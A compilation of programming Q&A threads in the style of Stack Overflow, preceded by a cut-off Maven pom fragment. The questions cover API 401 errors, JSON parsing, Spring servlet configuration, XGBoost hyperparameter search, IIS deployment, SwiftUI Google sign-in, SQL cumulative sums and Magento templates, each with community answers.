    <!-- for 2.8.0-01 and later you must have an explicit dependency on groovy-eclipse-batch -->
    <dependency>
      <groupId>org.codehaus.groovy</groupId>
      <artifactId>groovy-eclipse-batch</artifactId>
      <version>2.3.7-01</version>
    </dependency>
  </dependencies>
</plugin>
<plugin>
  <groupId>org.codehaus.groovy</groupId>
  <artifactId>groovy-eclipse-compiler</artifactId>
  <version>${groovy.eclipse.compiler.plugin.version}</version>
  <extensions>true</extensions>  <!-- required to get plugin to compile tests when no src/main/java dir exists -->
</plugin>


text:
Q: Forked project return unauthorized token So I have just completed my coding boot camp and wanted my final React project on my github to show potential employers. I forked my final project from my school's github. Everything was running smoothly prior to when i forked the project, but i wanted to ensure it would load in case other employers want to check it out. I did a git clone to my personal repo and installed all my files including my env files. I did a yarn start only to get this :
invalid request error message -  **{"type":"https://httpstatus.es/401",
    "status":401, "title":"Unauthorized",
    "detail":"Access token invalid or expired"}**

My api and secret keys are still active and my api file from petfinder-sdk i pulled from github to my project handles the token key generation.
link to my repo - https://github.com/mrshawnhum/capstone-starter-mrshawnhum

A: I don't know how an access token could expire, going to the pointed url points to a very public page describing the "401" error.
If the dependency comes from your code : rewrite your code so that it doesn't make an http request to the web just for fetching a description of an HTTP status. Or at least, doesn't try to authenticate, if the public information is OK.
If the dependency comes from a module : track the culprit, see if you can easily change its behavior (make an unautenticated call ? a config variable at setup ? dropping this module in favor of another one ? ...).


text:
Q: Parse JSON file, order by ID and return values with largest ID JSON file:https://1drv.ms/u/s!AizscpxS0QM4hJpFPnbeAexYPwYu9Q
i used this code to get all lines from whole file (with error KeyError: 'job')
datapath = '1.json'

data = json.load(open(datapath))

for issue in data['executions']:
  if 'id' in issue:
       print issue['date-started']['date'], issue['date-ended']['date'], issue['status'], issue['job']['name'], issue['id']

2018-04-03T17:43:34Z 2018-04-03T17:43:38Z failed aa 126
2018-04-03T17:42:26Z 2018-04-03T17:42:31Z succeeded test 125
2018-04-03T17:41:29Z 2018-04-03T17:41:37Z succeeded aa 124
2018-04-02T21:10:22Z 2018-04-02T21:10:28Z succeeded aa 123
2018-04-02T21:09:27Z 2018-04-02T21:09:33Z failed aa 122
2018-03-30T18:20:44Z 2018-03-30T18:20:47Z succeeded aa 121
2018-03-30T17:52:54Z 2018-03-30T17:52:57Z succeeded aa 120
2018-03-30T17:31:47Z 2018-03-30T17:31:49Z succeeded aa 119
2018-03-30T17:28:15Z 2018-03-30T17:28:17Z failed aa 118
2018-03-26T19:26:08Z 2018-03-26T19:26:13Z succeeded test 117
2018-03-26T19:24:29Z 2018-03-26T19:24:33Z succeeded test 116
2018-03-26T19:23:51Z 2018-03-26T19:23:53Z failed test 115
2018-03-26T19:21:57Z 2018-03-26T19:22:00Z succeeded

it returned all values + one without job (that's why i get above error)
Need to get values with highest job ID - issue['id'], last value in my "select" statement-last column in output
desired output:
2018-04-03T17:43:34Z 2018-04-03T17:43:38Z failed aa 126

need this because Zabbix can't handle multiple outputs so want to "feed" it with most current job (specified by issue['id'] )
jq has order by and pipe it to .[0], don't know if something exists for python

A: To prevent the KeyError, change this line:
if 'id' in issue:
...to check for the key's presence:
if 'id' in issue and 'job' in issue:
Note that you only need to do this if you are accessing the job key (you are in printing, but don't need that to check the highest ID).
To get the highest ID:
max_id = 0
for issue in data['executions']:
    if 'id' in issue and issue['id'] > max_id:
        max_id = issue['id']

To do this in one line using List Comprehension:
max_id = max([i.get('id',0) for i in data['executions']])
*This shows the highest issue id, not the highest issue job id since there is no clear description of how to rank these in your question

A: Some of the issues in the file have a job property, some don't. You need to check for that before trying to use it, or use setdefault to provide a default value.
issue.setdefault('job', {'name': 'noname', 'id': -1});
print issue['date-started']['date'], issue['date-ended']['date'], issue['status'], issue['job']['name'], issue['id']


text:
Q: Solving a nonlinear equation numerically for all multiple solutions I have a nonlinear equation: I plot the left-hand and right-hand sides of this equation in the picture below. Evidently there are two solutions. I have tried scipy.optimize.fsolve and guess the starting points strategically to find the two solutions but this is quite non-robust. Are there a Python solver that can just find all the solutions to this equation, e.g. within some finite set of x-values?
Function with multiple solutions

A: The solver doesn't know how many solutions there are, or where they may occur, so you'll need to search for the solutions. One way to do that is:

*

*Solve the model to find a solution. Let's say it occurs at x = 88.7.

*Add a constraint that excludes that solution by a very small amount. e.g. x <= 88.7 - 0.00001.

*Solve again. The solver will either find the other solution or say that there aren't any feasible solutions.

*Because we don't know which solution the solver will find the first time, we also need to check the other direction. e.g. x >= 88.7 + 0.00001

*If there are potentially more than two solutions, you'll need to repeat this process, progressively sub-dividing the solution space until there are no more solutions.


text:
Q: Quickchart Wordcloud API is returning spread and small text I am trying to get the Quickchart Wordcloud API to work, however, I get very spread apart and small text.
This used to work fine (I tested it a few weeks ago), but something seems to have changed to cause the issue you can test below.
Example
Apart from the text, you can see the querystring below:
rotation=0&format=png&height=176px&width=506px&font-family=sans-serif&removeStopwords=true&text=

Any insight into how I can get this to work would be appreciated.

A: I maintain this API and want to apologize for the trouble you encountered over the last few weeks.  This should be fixed now with no action required on your end.
Some background on the trouble: the underlying library, d3-cloud, is a bit finicky and under certain conditions it will not show top words if they are too large.  We attempt to resolve this by sizing the words explicitly, but this can be imprecise because we do not have full rendering information.  In the long term, I'd like to move to a more robust rendering library but for now we're tuning the workaround.
Related issues in the d3-cloud repo:

*

*https://github.com/jasondavies/d3-cloud/issues/166

*https://github.com/jasondavies/d3-cloud/issues/159

*https://github.com/jasondavies/d3-cloud/issues/36


text:
Q: Can you use a classpath file to configure DispatcherServlet with ? I was going through the Spring configuration files in a web application I'm working at and we have this in our web.xml:
<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>classpath:applicationContext.xml</param-value>
</context-param>

<listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

<servlet>
    <servlet-name>dispatcher</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
</servlet>

The reason why applicationContext.xml is loaded from the classpath, instead of the more usual /WEB-INF/applicationContext.xml, is because there are certain properties such as JDBC connection details that are filtered by Maven according to the profile used to build/run the app (integration testing, functional testing, production...). This all works, but if I change it to the configuration below (removing the <context-param> and <listener> entries):
<servlet>
    <servlet-name>dispatcher</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:applicationContext.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

The logs say the application starts up correctly and the web application context is loaded from the XML file:
...
11:57:15.910 [RMI TCP Connection(2)-127.0.0.1] INFO  org.springframework.web.servlet.DispatcherServlet - FrameworkServlet 'dispatcher': initialization started
11:57:15.927 [RMI TCP Connection(2)-127.0.0.1] INFO  org.springframework.web.context.support.XmlWebApplicationContext - Refreshing WebApplicationContext for namespace 'dispatcher-servlet': startup date [Tue Aug 22 11:57:15 BST 2017]; root of context hierarchy
11:57:15.958 [RMI TCP Connection(2)-127.0.0.1] INFO  org.springframework.beans.factory.xml.XmlBeanDefinitionReader - Loading XML bean definitions from class path resource [applicationContext.xml]
...

But when I try to get any page Tomcat replies with a 404 error and the following NPE in the logs (we're using Tiles 3):
SEVERE: Servlet.service() for servlet jsp threw exception
java.lang.NullPointerException
    at org.apache.tiles.access.TilesAccess.getContainer(TilesAccess.java:124)
    at org.apache.tiles.access.TilesAccess.getContainer(TilesAccess.java:107)
    at org.apache.tiles.access.TilesAccess.getCurrentContainer(TilesAccess.java:174)
    at org.apache.tiles.template.InsertDefinitionModel.execute(InsertDefinitionModel.java:95)
    at org.apache.tiles.jsp.taglib.InsertDefinitionTag.doTag(InsertDefinitionTag.java:254)
    at ...

I've seen in other SO questions that you can configure your servlet using <init-param> if you don't need to share the context among servlets (usually if you're just running a single one); however all the examples I've seen use an absolute path to indicate the location of applicationContext.xml, so I was wondering that maybe it wasn't possible to load the WAC using the classpath at all? Have you tried to do so successfully or do you know the reason why you can't?


text:
Q: Sklearn RandomizedSearchCV OSError: [Errno 5] Input/output error I'm trying to use a RandomizedSearch to determine the best hypterparameters for SKLearn's MLP and XGBoost. While running the optimization, after roughly 50 runs an OSError occurred.
The code I used for randomizedSearch with XGBoost:
from scipy.stats import randint as sp_randint
import xgboost as xgb
from sklearn.model_selection import RandomizedSearchCV
from joblib import dump, load
from sklearn.model_selection import StratifiedShuffleSplit
import numpy as np
import pickle
# Reference f1 eval --> https://stackoverflow.com/questions/51587535/custom-evaluation-function-based-on-f1-for-use-in-xgboost-python-api
from sklearn.metrics import f1_score
import numpy as np

def f1_eval(y_pred, dtrain):
    y_true = dtrain.get_label()
    err = 1-f1_score(y_true, np.round(y_pred))
    print("Score: ", str(1 - err))
    return 'f1_err', err

neg_samples = len(y[y['canceled_in_6_mon'] == 0])
pos_samples = len(y[y['canceled_in_6_mon'] == 1])

xgb_model = xgb.XGBClassifier(objective= 'reg:logistic', nthread=1,
scale_pos_weight=neg_samples / pos_samples)

parameters = {
    'learning_rate': [0.005, 0.01, 0.05, 0.1, 0.15, 0.25, 0.35], #so called `eta` value
    'max_depth': sp_randint(10, 100),
    'min_child_weight': sp_randint(1, 8),
    'silent': [1],
    'gamma': [0, 0.2, 0.5, 0.7, 1],
    'subsample': [0.5, 0.7, 1],
    'colsample_bytree': [0.5, 0.7, 1],
    "n_estimators": sp_randint(20, 100),
    "max_features": sp_randint(10, 400),
    "min_samples_split": sp_randint(2, 20),
    "seed": [42],
    "min_samples_leaf": sp_randint(1, 5)
}

ss = StratifiedShuffleSplit(n_splits=3, test_size=0.24, random_state=42)

clf = RandomizedSearchCV(estimator=xgb_model,  param_distributions = parameters,cv=ss, verbose=10, n_jobs=4, scoring='f1', n_iter=50)

clf.fit(X=X_train, y=np.ravel(y_train), eval_metric=f1_eval)

Here's the complete output I got including the error:
Pastebin Link
Any ideas why this happens? The error indicates that it's a problem with joblib, but I executed the same randomizedSearch code with a RandomForest Classifier and all works fine.

A: I came across the same problem and I found that replacing the existing xgboost.dll in the xgboost folder with one of the binaries from http://www.picnet.com.au/blogs/guido/2016/09/22/xgboost-windows-x64-binaries-for-download/ solved my issue.


text:
Q: IIS 6 not able to pick the framework 4.0 dll when deployed I have an service written in framework 4.0 and deployed in IIS 6, operating system 64 bit Windows Server 2003.
Steps done from me
1:Installed framework 4.0 of 64 bit
2 : C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319 aspnet_regiis –i
3: C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe –i
4: http://stackoverflow.com/questions/2009233/how-to-deploy-wcf-service-on-iis-6-0

The same code work fine when deployed in IIS 7, operating system Windows Server 2008
When I browse the url it shows the service working fine.
When I am consuming the service it throws an error tells invalid length here; it's trying to pick the framework 2.0 dll which is causing the problem
code which is causing the problem: Encoding.Unicode.GetString(MachineKey.Decode)

A: Make sure that you selected the .NET 4.0 Framework in the ASP.NET tab of the virtual directory of your service:


text:
Q: How to implement code present in scene(_:willConnectTo:options:) of SceneDelegate with the new App struct I should implement scene(_:willConnectTo:options:) present in SceneDelegate like this one:
func scene(_ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions) {

    // Get the googleDelegate from AppDelegate
    let googleDelegate = (UIApplication.shared.delegate as! AppDelegate).googleDelegate

    // Add googleDelegate as an environment object
    let contentView = ContentView()
        .environmentObject(googleDelegate)

    if let windowScene = scene as? UIWindowScene {
        let window = UIWindow(windowScene: windowScene)
        window.rootViewController = UIHostingController(rootView: contentView)

        // Set presentingViewControll to rootViewController
        GIDSignIn.sharedInstance().presentingViewController = window.rootViewController

        self.window = window
        window.makeKeyAndVisible()
    }
}

How can I implement the code related to the GIDSignIn with the new App struct?
@main
struct MyMultiplatformApp: App {
    var body: some Scene {
        WindowGroup {
            ContentView()
        }
    }
}

UPDATE after Asperi comment:
I tried implementing
var body: some View {
    ZStack {
        Color.mainColor.ignoresSafeArea()

        Button("", action: {GIDSignIn.sharedInstance().signIn()})
            .buttonStyle(MainButtonStyle(text: Constants.GOOGLE_LOGIN))
            .withHostingWindow {window in

                let contentView = self.environmentObject(googleDelegate)

                window?.rootViewController = UIHostingController(rootView: contentView)

                GIDSignIn.sharedInstance().presentingViewController = window?.rootViewController
            }
    }
}

but I get an exception when I click the button telling me that presentingViewController is not set


text:
Q: How to query a cumulative sum up to a specific value in SQL I have a SQL table which looks like this:
Id  Quantity
1   24.857
2   24.84
3   24.881
4   24.823

I need to select a cumulative sum of the quantity until a specified value is reached - let's say 50.
So with the above table, I would need the query to return the first 3 rows. (The sum of the quantity in the first two rows does not reach 50, so I need the third row as well).
Now I have the below code which is close but not quite right. The result of this query returns only the first two rows of the table which isn't sufficient.
DECLARE @point INT = 50;

WITH x(Id, Quantity, RowNum, TotalQuantity) AS
(
  SELECT
    id, quantity, ROW_NUMBER() OVER (ORDER BY id),
    SUM(quantity) OVER (ORDER BY id RANGE UNBOUNDED PRECEDING)
  FROM inventory
)

SELECT x.Id, x.RowNum, x.Quantity, x.TotalQuantity
FROM x
WHERE x.TotalQuantity <= @point
ORDER BY x.Id

This query results in the following:
Id  RowNum  Quantity   TotalQuantity
1   1       24.857     24.857
2   2       24.84      49.697

I feel as though I need a WHILE loop in here somewhere which I have tried to no avail.
Any help is greatly appreciated, thanks.

A: You can use one more cte to get the first row when the total quantity is >= @point. Then join with the existing cte.
WITH x(Id, Quantity, RowNum, TotalQuantity) AS
(
  SELECT
    id, quantity, ROW_NUMBER() OVER (ORDER BY id),
    SUM(quantity) OVER (ORDER BY id RANGE UNBOUNDED PRECEDING)
  FROM inventory
)
, y as (select min(rownum) as minrownum from x where totalquantity >= @point)
SELECT x.Id, x.RowNum, x.Quantity, x.TotalQuantity
FROM x
JOIN y on x.rownum <= y.minrownum
ORDER BY x.Id

A: You can use LAG to look at the prior row.
WITH x(Id, Quantity, RowNum, TotalQuantity, TotalQuantityPrior) AS
(
  SELECT
    id, quantity, ROW_NUMBER() OVER (ORDER BY id),
    SUM(quantity) OVER (ORDER BY id RANGE UNBOUNDED PRECEDING) AS TotalQuantity,
    LAG(TotalQuantity,1,0) OVER (ORDER BY id) AS TotalQuantityPrior
  FROM inventory
)

SELECT x.Id, x.RowNum, x.Quantity, x.TotalQuantity
FROM x
WHERE x.TotalQuantityPrior <= @point
ORDER BY x.Id

I use 0 as default -- you might want -1 if you can have 0 as @point or maybe something else depending on your business rules.
https://msdn.microsoft.com/en-us/library/hh231256.aspx


text:
Q: Magento Hide Div ID if Grand Total Less than Dollar Amount I'm trying to hide or display a div based on the cart grand total.  For instance, if the cart grand total is less than $79, i'd like to hide the div.  I've tried using conditional statements but it's not quite working. I've tried using the below code in onepage.phtml, review.phtml (where the div is placed) and in the actual file that holds the div I'd like to hide.
<?php
$totals = Mage::getSingleton('checkout/session')->getQuote()->getTotals();
$subtotal = round($totals["subtotal"]->getValue());
$grandtotal = round($totals["grand_total"]->getValue());
if ($grandtotal <= '79'){ ?>
     <script type="text/javascript">$('#gifterWrap').hide()</script>
   <?php
    }
?>

Any insight would be much appreciated.
EDIT: After trying a few of the fixes below, I think the error may be in the first part of the code, where I get the totals subtotal etc.

A: Maybe:
 <script language="javascript">
     grandTotal=<?php echo round($totals["grand_total"]->getValue());?>;
     alert(grandTotal); // to check if it's the right value.
     if (grandTotal<=79){
         $('#gifterWrap').css('display', 'none');
     }
 </script>

A: Try changing '79' (string) to 79 (int)
<?php if(79 >= Mage::getModel('checkout/cart')->getQuote()->getGrandTotal()): ?>
     <script type="text/javascript">$('#gifterWrap').hide()</script>
<?php endif; ?>

See

*

*http://amjath.com/2012/06/get-subtotal-and-grand-total-in-magento.html

*http://www.magazento.com/english/blog/cartinfomagento